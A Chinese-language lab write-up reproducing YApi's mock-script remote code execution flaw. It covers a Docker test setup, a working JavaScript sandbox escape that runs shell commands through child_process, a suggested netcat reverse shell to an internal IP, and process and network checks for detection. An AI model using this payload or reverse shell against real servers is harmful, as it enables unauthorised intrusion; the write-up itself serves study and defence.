漏洞原理

漏洞发现

查看issue2229
在这里插入图片描述

漏洞描述

网站开放注册功能时可随意注册,设置全局mock脚本可执行任意代码。

影响范围

Yapi <= 1.9.2

yapi学习

YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

通过官方文档学习如何新建项目
在这里插入图片描述
通过官方文档学习如何新建接口
在这里插入图片描述

通过官方文档学习Mock脚本与优先级
在这里插入图片描述

漏洞复现

环境搭建

这里使用的JayFong的docker-YApi,WEB UI在40001端口。修改了版本号为1.8.0

version: '3'

services:
  yapi-web:
    image: jayfong/yapi:1.8.0
    container_name: yapi-web
    ports:
      - 40001:3000
    environment:
      - YAPI_ADMIN_ACCOUNT=admin@docker.yapi
      - YAPI_ADMIN_PASSWORD=adm1n
      - YAPI_CLOSE_REGISTER=false
      - YAPI_DB_SERVERNAME=yapi-mongo
      - YAPI_DB_PORT=27017
      - YAPI_DB_DATABASE=yapi
      - YAPI_MAIL_ENABLE=false
      - YAPI_LDAP_LOGIN_ENABLE=false
      - YAPI_PLUGINS=[]
    depends_on:
      - yapi-mongo
    links:
      - yapi-mongo
    restart: unless-stopped
  yapi-mongo:
    image: mongo:latest
    container_name: yapi-mongo
    volumes:
      - ./data/db:/data/db
    expose:
      - 27017
    restart: unless-stopped

启动镜像

docker-compose up -d

启动后发现管理员账号密码不对,应该是环境变量在容器中没有使用,查看配置文件找到管理员账号
在这里插入图片描述
查看安装脚本,找到密码
在这里插入图片描述
打开WEB UI,使用admin@hello.yapi、ymfe.org登录
新建项目
在这里插入图片描述
新建接口
在这里插入图片描述

exp

设置全局mock脚本
在这里插入图片描述

const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
mockJson = process.mainModule.require("child_process").execSync("ls").toString()

可以把ls改为反弹shell等,例如

 nc 10.28.144.100  7777 -e /bin/sh

访问接口预览中的Mock地址即可看到命令结果。
在这里插入图片描述

入侵检测与防御

更新为最新版、禁止注册是最好的防御方式
在这里插入图片描述
入侵检测可以检测一下可疑的进程、网络连接,例如前面说的反弹Shell可以用下面的方式进行检测:
在这里插入图片描述

ps -eo pid,ppid,comm,args

在这里插入图片描述
可以看到进程1的子进程是117,很可疑

netstat -anp | grep ESTABLISHED

在这里插入图片描述

可以看到子进程117在与10.28.144.100的7777端口进行通信

参考

github-YMFE-yapi
yapi文档
yapi-issue2229
Awesome-POC-yapi
YApi Mock功能远程代码执行漏洞复现
gitee-JayFong-docker-YApi

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐